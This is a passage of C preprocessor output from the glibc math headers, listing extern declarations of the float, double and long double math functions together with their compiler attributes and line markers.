((__nothrow__ , __leaf__)); extern double __jn (int, double) __attribute__ ((__nothrow__ , __leaf__)); extern double y0 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __y0 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double y1 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __y1 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double yn (int, double) __attribute__ ((__nothrow__ , __leaf__)); extern double __yn (int, double) __attribute__ ((__nothrow__ , __leaf__)); extern double erf (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __erf (double) __attribute__ ((__nothrow__ , __leaf__)); extern double erfc (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __erfc (double) __attribute__ ((__nothrow__ , __leaf__)); extern double lgamma (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __lgamma (double) __attribute__ ((__nothrow__ , __leaf__)); extern double tgamma (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __tgamma (double) __attribute__ ((__nothrow__ , __leaf__)); extern double gamma (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __gamma (double) __attribute__ ((__nothrow__ , __leaf__)); extern double lgamma_r (double, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__)); extern double __lgamma_r (double, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__)); extern double rint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __rint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double nextafter (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __nextafter (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double nexttoward (double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __nexttoward (double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); # 272 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern double remainder (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __remainder (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double scalbn (double __x, int __n) __attribute__ ((__nothrow__ , __leaf__)); extern double __scalbn (double __x, int __n) __attribute__ ((__nothrow__ , __leaf__)); extern int ilogb (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern int __ilogb (double __x) __attribute__ ((__nothrow__ , __leaf__)); # 290 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern double scalbln (double __x, long int __n) __attribute__ ((__nothrow__ , __leaf__)); extern double __scalbln (double __x, long int __n) __attribute__ ((__nothrow__ , __leaf__)); extern double nearbyint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __nearbyint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double round (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __round (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double trunc (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __trunc (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double remquo (double __x, double __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__)); extern double __remquo (double __x, double __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__)); extern long int lrint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lrint (double __x) __attribute__ ((__nothrow__ , __leaf__)); __extension__ extern long long int llrint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llrint (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int lround (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lround (double __x) __attribute__ ((__nothrow__ , __leaf__)); __extension__ extern long long int llround (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llround (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double fdim (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __fdim (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double fmax (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __fmax (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double fmin (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __fmin (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double fma (double __x, double __y, double __z) __attribute__ ((__nothrow__ , __leaf__)); extern double __fma (double __x, double __y, double __z) __attribute__ ((__nothrow__ , __leaf__)); # 400 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern double scalb (double __x, double __n) __attribute__ ((__nothrow__ , __leaf__)); extern double __scalb (double __x, double __n) __attribute__ ((__nothrow__ , __leaf__)); # 291 "/usr/include/math.h" 2 3 4 # 306 "/usr/include/math.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 1 3 4 # 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 extern int __fpclassifyf (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __signbitf (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __isinff (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __finitef (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __isnanf (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __iseqsigf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern int __issignalingf (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); # 307 "/usr/include/math.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 1 3 4 # 53 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern float acosf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __acosf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float asinf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __asinf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float atanf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __atanf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float atan2f (float __y, float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __atan2f (float __y, float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float cosf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __cosf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float sinf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __sinf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float tanf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __tanf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float coshf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __coshf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float sinhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __sinhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float tanhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __tanhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); # 85 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern float acoshf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __acoshf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float asinhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __asinhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float atanhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __atanhf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float expf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __expf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float frexpf (float __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__)); extern float __frexpf (float __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__)); extern float ldexpf (float __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__)); extern float __ldexpf (float __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__)); extern float logf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __logf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float log10f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __log10f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float modff (float __x, float *__iptr) __attribute__ ((__nothrow__ , __leaf__)); extern float __modff (float __x, float *__iptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); # 119 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern float expm1f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __expm1f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float log1pf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __log1pf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float logbf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __logbf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float exp2f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __exp2f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float log2f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __log2f (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float powf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __powf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float sqrtf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __sqrtf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float hypotf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __hypotf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float cbrtf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __cbrtf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float ceilf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __ceilf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float fabsf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __fabsf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float floorf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __floorf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float fmodf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __fmodf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); # 177 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern int isinff (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int finitef (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float dremf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __dremf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float significandf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __significandf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float copysignf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __copysignf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float nanf (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__)); extern float __nanf (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__)); # 211 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern int isnanf (float __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float j0f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __j0f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float j1f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __j1f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float jnf (int, float) __attribute__ ((__nothrow__ , __leaf__)); extern float __jnf (int, float) __attribute__ ((__nothrow__ , __leaf__)); extern float y0f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __y0f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float y1f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __y1f (float) __attribute__ ((__nothrow__ , __leaf__)); extern float ynf (int, float) __attribute__ ((__nothrow__ , __leaf__)); extern float __ynf (int, float) __attribute__ ((__nothrow__ , __leaf__)); extern float erff (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __erff (float) __attribute__ ((__nothrow__ , __leaf__)); extern float erfcf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __erfcf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float lgammaf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __lgammaf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float tgammaf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __tgammaf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float gammaf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float __gammaf (float) __attribute__ ((__nothrow__ , __leaf__)); extern float lgammaf_r (float, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__)); extern float __lgammaf_r (float, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__)); extern float rintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __rintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float nextafterf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __nextafterf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float nexttowardf (float __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __nexttowardf (float __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); # 272 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern float remainderf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __remainderf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float scalbnf (float __x, int __n) __attribute__ ((__nothrow__ , __leaf__)); extern float __scalbnf (float __x, int __n) __attribute__ ((__nothrow__ , __leaf__)); extern int ilogbf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern int __ilogbf (float __x) __attribute__ ((__nothrow__ , __leaf__)); # 290 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern float scalblnf (float __x, long int __n) __attribute__ ((__nothrow__ , __leaf__)); extern float __scalblnf (float __x, long int __n) __attribute__ ((__nothrow__ , __leaf__)); extern float nearbyintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float __nearbyintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float roundf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __roundf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float truncf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __truncf (float __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float remquof (float __x, float __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__)); extern float __remquof (float __x, float __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__)); extern long int lrintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lrintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); __extension__ extern long long int llrintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llrintf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int lroundf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lroundf (float __x) __attribute__ ((__nothrow__ , __leaf__)); __extension__ extern long long int llroundf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llroundf (float __x) __attribute__ ((__nothrow__ , __leaf__)); extern float fdimf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float __fdimf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)); extern float fmaxf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __fmaxf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float fminf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float __fminf (float __x, float __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern float fmaf (float __x, float __y, float __z) __attribute__ ((__nothrow__ , __leaf__)); extern float __fmaf (float __x, float __y, float __z) __attribute__ ((__nothrow__ , __leaf__)); # 400 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern float scalbf (float __x, float __n) __attribute__ ((__nothrow__ , __leaf__)); extern float __scalbf (float __x, float __n) __attribute__ ((__nothrow__ , __leaf__)); # 308 "/usr/include/math.h" 2 3 4 # 349 "/usr/include/math.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 1 3 4 # 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 extern int __fpclassifyl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __signbitl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __isinfl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __finitel (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __isnanl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __iseqsigl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern int __issignalingl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); # 350 "/usr/include/math.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 1 3 4 # 53 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern long double acosl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __acosl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double asinl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __asinl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double atanl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __atanl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double atan2l (long double __y, long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __atan2l (long double __y, long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double cosl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __cosl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double sinl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __sinl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double tanl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __tanl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double coshl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __coshl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double sinhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __sinhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double tanhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __tanhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); # 85 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern long double acoshl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __acoshl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double asinhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __asinhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double atanhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __atanhl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double expl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __expl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double frexpl (long double __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__)); extern long double __frexpl (long double __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__)); extern long double ldexpl (long double __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__)); extern long double __ldexpl (long double __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__)); extern long double logl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __logl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double log10l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __log10l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double modfl (long double __x, long double *__iptr) __attribute__ ((__nothrow__ , __leaf__)); extern long double __modfl (long double __x, long double *__iptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); # 119 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern long double expm1l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __expm1l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double log1pl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __log1pl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double logbl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __logbl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double exp2l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __exp2l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double log2l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __log2l (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double powl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __powl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double sqrtl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __sqrtl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double hypotl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __hypotl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double cbrtl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __cbrtl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double ceill (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __ceill (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double fabsl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __fabsl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double floorl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __floorl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double fmodl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __fmodl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); # 177 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern int isinfl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int finitel (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double dreml (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __dreml (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double significandl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __significandl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double copysignl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __copysignl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double nanl (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__)); extern long double __nanl (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__)); # 211 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern int isnanl (long double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double j0l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __j0l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double j1l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __j1l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double jnl (int, long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __jnl (int, long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double y0l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __y0l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double y1l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __y1l (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double ynl (int, long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __ynl (int, long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double erfl (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __erfl (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double erfcl (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __erfcl (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double lgammal (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __lgammal (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double tgammal (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __tgammal (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double gammal (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double __gammal (long double) __attribute__ ((__nothrow__ , __leaf__)); extern long double lgammal_r (long double, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__)); extern long double __lgammal_r (long double, int *__signgamp) __attribute__ ((__nothrow__ , __leaf__)); extern long double rintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __rintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double nextafterl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __nextafterl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double nexttowardl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __nexttowardl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); # 272 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern long double remainderl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __remainderl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double scalbnl (long double __x, int __n) __attribute__ ((__nothrow__ , __leaf__)); extern long double __scalbnl (long double __x, int __n) __attribute__ ((__nothrow__ , __leaf__)); extern int ilogbl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern int __ilogbl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); # 290 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern long double scalblnl (long double __x, long int __n) __attribute__ ((__nothrow__ , __leaf__)); extern long double __scalblnl (long double __x, long int __n) __attribute__ ((__nothrow__ , __leaf__)); extern long double nearbyintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double __nearbyintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double roundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __roundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double truncl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __truncl (long double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double remquol (long double __x, long double __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__)); extern long double __remquol (long double __x, long double __y, int *__quo) __attribute__ ((__nothrow__ , __leaf__)); extern long int lrintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lrintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); __extension__ extern long long int llrintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llrintl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int lroundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long int __lroundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); __extension__ extern long long int llroundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long long int __llroundl (long double __x) __attribute__ ((__nothrow__ , __leaf__)); extern long double fdiml (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double __fdiml (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)); extern long double fmaxl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __fmaxl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double fminl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double __fminl (long double __x, long double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern long double fmal (long double __x, long double __y, long double __z) __attribute__ ((__nothrow__ , __leaf__)); extern long double __fmal (long double __x, long double __y, long double __z) __attribute__ ((__nothrow__ , 